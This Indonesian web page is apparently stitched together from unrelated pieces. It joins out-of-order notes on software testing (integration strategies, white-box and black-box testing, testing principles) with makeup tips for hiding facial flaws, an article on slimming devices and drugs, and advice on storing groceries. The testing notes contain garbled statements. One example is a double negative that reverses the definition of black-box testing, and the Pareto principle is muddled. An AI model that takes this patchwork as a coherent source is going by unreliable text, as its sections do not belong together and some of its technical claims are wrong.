Pengujian Integrasi Bottom-up memulai konstruksi dan pengujian dengan modul atomic (modul pada tingkat paling rendah pada struktur program). Karena modul diintegrasikan dari bawah ke atas, maka pemrosesan yang diperlukan untuk modul subordinate ke suatu tuingkat yang diberikan akan selalu tersedia dan kebutuhan akan stub dapat dieliminasi. Strategi integrasi bottom-up dapat diimplementasi dengan langkah-langkah:

1. modul tingkat rendah digabung ke dalam cluster (build) yang melakukan subfungsi perangkat lunak spesifik.

2. Driver (program control untuk pengujian) ditulis untuk mengkoordinasi input dan output test case

3. cluster diuji

4. driver diganti dan cluster digabungkan dengan menggerakkannya ke atas di dalam struktur program.

Integrasi Top-Down adalah pendekatan incremental dengan menggerakkan ke bawah melalui hirarki control, dimulai dengan control utama. Strategi intergrasi top-down memeriksa control mayor atau keputusan pada saat awal di dalam proses pengujian. Pada struktur program yang difaktorkan dengan baik, penarikan keputusan terjadi pada tingkat hirarki yang lebih tinggi sehingga terjadi lebih dulu.

Strategi top-down kelihatannya tidak sangat rumit, tetapi di dalam praktenya banyak menimbulkan masalah logistic. Biasanya masalah ini terjadi jika dibutuhkan pemrosesan di dalam hirarki pada tingkat rendah untuk menguji secara memadai tingkat yang lebih tinggi.

Berfokus pada domain informasi dari perangkat lunak, dengan melakukan test case dengan menpartisi domain input dari suatu program dengan cara yang memberikan cakupan pengujian yang mendalam.

Metode pengujian graph-based mengeksplorasi hubungan antara dan tingkah laku objek-objek program. Partisi ekivalensi membagi domain input ke dalam kelas data yang mungkin untuk melakukan fungsi perangkat lunak tertentu. Analisis nilai batas memeriksaa kemampuan program untuk menangani data pada batas yang dapat diterima.

Metode pengujian yang terspesialisasi meliputi sejumlah luas kemampuan perangkat lunak dan area aplikasi. GUI, arsitektur client/ server, dokumentasi dan fasilitas help dan sistem real time masing-masing membutuhkan pedoman dan tehnik khusus untuk pengujian perangkat lunak.

Berfokus pada struktur control program. Test case dilakukan untuk memastikan bahwa semua statemen pada program telah dieksekusi paling tidak satu kali selama pengujian dan bahwa semua kondisi logis telah diuji. Pengujian basic path, tehnik pengujian white-box, menggunakan grafik (matriks grafiks) untuk melakukan serangkaian pengujian yang independent secara linear yang akan memastikan cakupan.

Pengujian aliran data dan kondisi lebih lanjut menggunakan logika program dan pengujian loop menyempurnakan tehnik white-box yang lain dengan memberikan sebuah prosedur untuk menguji loop dari tingkat kompleksitas yang bervariasi. Pengujian black-box didesain untuk mengungkap kesalahan pada persyaratan fungsional tanpa mengabaikan kerja internal dari suatu program.

Testing (Pengujian Perangkat Lunak)

Adalah elemen kritis dari jaminan kualitas perangkat lunak dan merepresentasikan kajian pokok dari spesifikasi, desain, dan pengkodean.

Pentingnya pengujian perangkat lunak dan implikasinya yang mengacu pada kualitas perangkat lunak tidak dapat terlalu ditekan karena melibatkan sederetan aktivitas produksi di mana peluang terjadinya kesalahan manusia sangat besar dan arena ketidakmampuan manusia untuk melakukan dan berkomunikasi dengan sempurna maka pengembangan perangkat lunak diiringi dengan aktivitas jaminan kualitas.

Meningkatnya visibilitas (kemampuan) perangkat lunak sebagai suatu elemen sistem dan “biaya” yang muncul akibat kegagalan perangkat lunak, memotivasi dilakukannya perencanaan yang baik melalui pengujian yang teliti. Pada dasarnya, pengujian merupakan satu langkah dalam proses rekayasa perangkat lunak yang dapat dianggap sebagai hal yang merusak daripada membangun.

Sejumlah aturan yang berfungsi sebagai sasaran pengujian pada perangkat lunak adalah:

1. Pengujian adalah proses eksekusi suatu program dengan maksud menemukan kesalahan

2. Test case yang baik adalah test case yang memiliki probabilitas tinggi untuk menemukan kesalahan yang belum pernah ditemukan sebelumnya

3. Pengujian yang sukses adalah pengujian yang mengungkap semua kesalahan yang belum pernah ditemukan sebelumnya

Sasaran itu berlawanan dengan pandangan yang biasanya dipegang yang menyatakan bahwa pengujian yang berhasil adalah pengujian yang tidak ada kesalahan yang ditemukan. Data yang dikumpulkan pada saat pengujian dilakukan memberikan indikasi yang baik mengenai reliabilitas perangkat lunak dan beberapa menunjukkan kualitas perangkat lunak secara keseluruhan, tetapi ada satu hal yang tidak dapat dilakukan oleh pengujian, yaitu pengujian tidak dapat memperlihatkan tidak adanya cacat, pengujian hanya dapat memperlihatkan bahwa ada kesalahan perangkat lunak.

Sebelum mengaplikasikan metode untuk mendesain test case yang efektif, perekayasa perangkat lunak harus memahami prinsip dasar yang menuntun pengujian perangkat lunak, yaitu:

Ø semua pengujian harus dapat ditelusuri sampai ke persyaratan pelanggan, maksudnya mengungkap kesalahan dari cacat yang menyebabkan program gagal.

Ø Pengujian harus direncanakan lama sebelum pengujian itu mulai, maksudnya semua pengujian dapat direncanakan dan dirancang sebelum semua kode dijalankan.

Ø Prinsip Pareto berlaku untuk pengujian perangkat lunak, maksudnya dari 80% kesalahan yang ditemukan selama pengujian dapat ditelusuri sampai 20% dari semua modul program.

Ø Pengujian harus mulai “dari yang kecil” dan berkembang ke pengujian “yang besar”, Selagi pengujian berlangsung maju, pengujian mengubah focus dalam usaha menemukan kesalahan pada cluster modul yang terintegrasi dan akhirnya pada sistem.

Ø Pengujian yang mendalam tidak mungkin karena tidak mungkin mengeksekusi setiap kombinasi jalur skema pengujian dikarenakan jumlah jalur permutasi untuk program menengah pun sangat besar.

Ø Untuk menjadi paling efektif, pengujian harus dilakukan oleh pihak ketiga yang independent

Dalam lingkungan yang ideal, perekayasa perangkat lunak mendesain suatu program computer, sebuah sistem atau produk dengan testabilitas dalam pikirannya. Hal ini memungkinkan individu yang berurusan dengan pengujian mendesain test case yang efektif secara lebih mudah. Testabilitas adalah seberapa mudah sebuah program computer dapat diuji. Karena sangat sulit, perlu diketahui apa yang dapat dilakukan untuk membuatnya menjadi lebih mudah. Procedural dan menggunakannya sebagai pedoman untuk menetapkan basis set dari jalur eksekusi.

Sasaran utama desain test case adalah untuk mendapatkan serangkaian pengujian yang memiliki kemungkinan tertinggi di dalam pengungkapan kesalahan pada perangkat lunak. Untuk mencapai sasaran tersebut, digunakan 4 kategori yang berbeda dari tehnik desain test case: Pengujian white-box, pengujian black-box, Integrasi Bottom-Up dan Integrasi Top-Down.

Saat berjalan di tengah keramaian, Anda sering menunduk karena malu memiliki bentuk wajah yang kurang sempurna? Atau mungkin Anda sering menutupi wajah dengan rambut panjang Anda agar jerawat dan noda hitam di pipi tidak terlihat?

Tidak usah malu karena memiliki bentuk wajah yang tidak ideal, karena sekarang Anda bisa mengatasinya dengan trik make up.Hidung Besar

Anda malu karena memiliki hidung besar yang terkesan menutupi wajah? Kekurangan ini bisa Anda samarkan dengan blush on matte berwarna atau cokelat muda dan emas di bagian samping hidung. Tambahkan pula eye shadow putih yang berfungsi untuk menekankan bagian tengah hidung sehingga terkesan lebih mancung. Inililah make up wajah yang pas.

Wajah Bulat dan Lebar

Jika Anda ingin menampilkan kesan ramping atau tirus pada wajah, bisa melakukan rias wajah dengan mengunakan blush on berwarna gelap atau bedak keemasan untuk dijadikan shading pada bagian muka dan garis rahang. Blush on matte terlihat lebih natural dan memberi kesan tegas pada wajah serta mengurangi efek kerutan. Untuk menonjolkan tulang pipi, Anda dapat menggunakan shading bedak wajah yang warnanya 4x lebih gelap dari warna kulit asli. Aplikasikan di bawah tulang pipi. Wajah cantik menjadi milik Anda.

Jerawat dan Noda Wajah

Tidak usah panik jika wajah Anda dipenuhi jerawat ataupun noda hitam, cukup melakukan rias wajah dengan menutupi dengan foundation. Foundation adalah solusi termudah untuk mengoreksi warna kulit dan menyamarkan jerawat. Mulailah dengan membersihkan wajah, lalu keringkan dan gunakan moisturizer ringan yang cepat menyerap.

Lakukan rias make up dengan mengaplikasikan foundation dengan spons basah sampai rata atau gunakan jari tangan Anda. Langkah ini terkadang bisa membuat make up terlihat lebih natural. Jika Anda masih kurang yakin noda tertutupi, gunakan foundation lagi sebagai pelapis kedua setelah lapisan foundation pertama selesai. Kemudian gunakan bedak tabur.

Jika Anda lebih memilih concealer sebagai langkah make up cantik tambahan untuk menutupi noda hitam, aplikasikan setelah foundation; sebelum menggunakan bedak. Pilih foundation atau concealer yang waterproof atau antiair karena cocok dipakai di musim hujan ataupun cuaca panas dan lembap.

Jenis-jenis Foundation

Ada 3 bentuk utama foundation , yaitu cair, cream dan yang disatukan dalam bedak padat. Sebelum memilih foundation, perhatikan terlebih dahulu kondisi kulit wajah. Jika kulit wajah berminyak, hindari foundation berbentuk cream. Sementara jika kulit Anda berjerawat sebaiknya menghindari foundation bentuk cream dan bentuk padat. Foundation jenis ini lebih cocok untuk kulit bersisik dan kering. Dengan memilih foundation secara tepat akan membuat wajah cantik berseri dan alami tanpa menimbulkan masalah.

Selain berbagai suplemen, kini makin banyak ditawarkan berbagai alat pelangsing tubuh dengan cara peluruhan lemak yang amat bervariasi. Ada yang melalui pengaruh panas, getar, hingga infra merah. Sejauh mana produk pelangsing tersebut bisa dipertanggungjawabkan dan aman dikonsumsi?

Kegemukan memang menjadi momok tidak hanya untuk perempuan, namun juga lelaki. Selain karena sebagian orang menganggap atau merasa kegemukan itu tak sedap dipandang, kegemukan juga berisiko tinggi menimbulkan berbagai penyakit, salah satunya jantung koroner.

Penelitian di Amerika Serikat tahun 2007 ini menyebutkan, penimbunan lemak berlebihan di daerah perut merupakan faktor risiko utama terhadap terjadinya penyakit jantung.

"Pengukuran lingkar pinggang dan panggul (waist to hip ratio) adalah parameter untuk menetapkan apakah seseorang mengalami obesitas," ujar Ermita Ilyas, dokter spesialis olahraga.

Mengutip hasil survei nasional 1996-1997 di ibu kota seluruh Indonesia yang ditulis Hadi (2005), ditemukan bahwa 8,1 persen laki-laki dewasa (lebih dari 18 tahun) mengalami overweight (kelebihan berat badan/BB), dan 6,8 persen mengalami obesitas (kegemukan). Sedangkan perempuan 10,5 persen overweight dan 13,8 persen obesitas.

Pada kelompok usia 40-49 tahun, overweight sebesar 24,4 persen dan obesitas 23 persen (laki-laki), serta 30,4 persen dan 43 persen (perempuan).

Padahal, obesitas memberi risiko penyakit hipertensi, jantung, dan pembuluh darah, kencing manis (diabetes meletus), serta gangguan lipid darah (dislipidemia).

Gencarnya tawaran

Anda mungkin salah seorang yang kerap atau pernah ditawari alat-alat maupun produk pelangsing yang gencar diadakan di berbagai tempat, seperti mal. Setelah mendengar penuturan penjual, sebagian orang pun tertarik membelinya. Apalagi, iklan tentang berbagai cara pelangsingan tubuh itu juga dikemas dengan sangat meyakinkan, membuat sebagian orang tergoda memakainya.

Ermita pun mencermati semakin banyaknya alat pelangsing yang beredar di pasaran. Misalnya, ada alat pelangsing yang mengklaim dapat mengeluarkan keringat seperti cara kerja sauna, yang sebenarnya tidak meluruhkan lemak namun cairan tubuh.

"Dengan sauna, keringat banyak keluar dan orang pun merasa haus. Namun, setelah minum dan makan, berat badan akan naik lagi. Penurunannya hanya sementara," paparnya.

Alat yang iklannya juga menggiurkan adalah semacam baju ketat yang dipromosikan bisa mengaktifkan molekul-molekul sel pada tubuh, sehingga bisa membuang lemak dan racun. Ada juga alat yang disebut bisa menggetarkan tubuh dengan sangat kuat, sehingga dapat meluruhkan lemak. Atau iming-iming pelangsing aman.

Menurut Ermita, lemak akan berkurang atau dikeluarkan dari jaringan tempat penyimpanan (adiposa) bila diperlukan sebagai sumber energi.

"Pelepasan lemak dari jaringan adiposa membutuhkan rangsangan dari hormon tertentu, akibat tidak tersedianya glukosa. Proses kimianya bertahap, jadi tidak bisa dengan alat yang menggetar-getarkan tubuh atau baju ketat," ujarnya.

Selain alat, obat-obatan pelangsing tubuh juga masih terus ditawarkan. Jenis yang ditawarkan di antaranya obat penekan nafsu makan, dan obat diuretika untuk mengeluarkan cairan tubuh. Ini bisa menyebabkan dehidrasi. Obat pelangsing lain adalah pencahar yang sebenarnya bisa menyebabkan diare. Ada lagi pelangsing berupa obat penghambat pencernaan lemak di usus.

Selain obat-obatan itu, ada pula berbagai produk diet suplemen pelangsing, yang menurut Ermita, boleh dikonsumsi asal dengan pengawasan ahli gizi dan dokter. Misalnya, suplemen yang dapat menghambat pencernaan karbohidrat.

Hari gini tiap hari ke pasar atau swalayan berbelanja Bahan Makanan atau Bahan Kue sehari-hari kayaknya nggak praktis dech, terutama buat ibu-ibu bekerja, selain menghabiskan banyak waktu (di jalan atau berbelanjanya) juga membuang-buang waktu dan biaya juga kan kalau tiap hari mesti ke pasar.
Padahal kesegaran Bahan Makanan atau Bahan Kue sangat penting untuk kesehatan. Inilah yang menjadikan sangat penting untuk mengetahui teknik penyimpanan bahan Makanan atau Bahan Tambahan Makanan yang benar agar saat diperlukan untuk diolah bahan tersebut masih dalam kondisi segar, (Pasti sangat menyebalkan, saat akan menumis sayur, kita menemukan sayuran kita sudah layu tidak layak olah lagi).
Nah kebetulan di Femina 14-20 Maret 2009 kemarin ini saya menemukan beberapa cara sederhana untuk menyimpan bahan Makanan atau Bahan Tambahan Makanan secara benar.
* IKAN, cuci bersih ikan segar sebelum disimpan di kulkas. Jika ingin memasaknya, lumuri dulu dengan garam, diamkan sejenak, baru dimasak. Rasanya akan segar kembali.
* DAGING, bagian daging sapi atau unggas yang paling mudah busuk adalah bagian tenghanya. Triknya, simpan daging sapi atau unggas di dalam lemari pendingin terlebih dahulu sebelum dimasukkan ke dalam freezer (lemari pembeku). * KEJU, agar keju tidak keras begitu ingin digunakan, olesi ujung-ujungnya dengan mentega sebelum disimpan di dalam kulkas. Kalau bungkusnya sudah dibuka, bungkus dengan plastic terlebih dahulu sebelum disimpan di kulkas.
* BROKOLI, KOL, WORTEL, bungkus brokoli dankol dengan plastic wrap lalu simpan di kulkas. Potong bagian pangkal wortel terlebih dulu(cth lainnya dapat anda lihat di Pewarna Makanan & Pewarna Kue), baru masukkan ke dalam kantong plastic dan simpan di tray khusus sayuran.
* SELEDRI & BAYAM, cuci seledri dan bayam hingga bersih, bungkus dengan kantong plastic, ikat dan masukkan ke dalam kulkas.
* JAGUNG MANIS, sebelum menyimpannya, angina-anginkan jagung manis di tempat terbuka lalu rendam di dalam air dingin sejak sejam, baru simpan di dalam kulkas.
* PISANG, simpan pisang di tempat terbuka dan sejuk. Hindari menyimpan pisang di kulkas karena akan membuat kulit pisang berubah kecoklatan.
* KENTANG, jangan menyimpan kentang di kkulkas. Simpan kentang dalam plastic tertutup, letakk Makanan Kue atau kentang di tempat kering dan terlindung dari sinar matahari yang bisa membuat kentang menjadi kehijauan dan bertunas. Dalam suhu ruang, umur kentang bisa mencapai 2 minggu.

Temukan informasi lainnya mengenai Bahan Makanan | Bahan Kue | Bahan Tambahan Makanan | Pewarna Makanan | Pewarna Kue | Makanan Kue | Makanan Pada 88db.com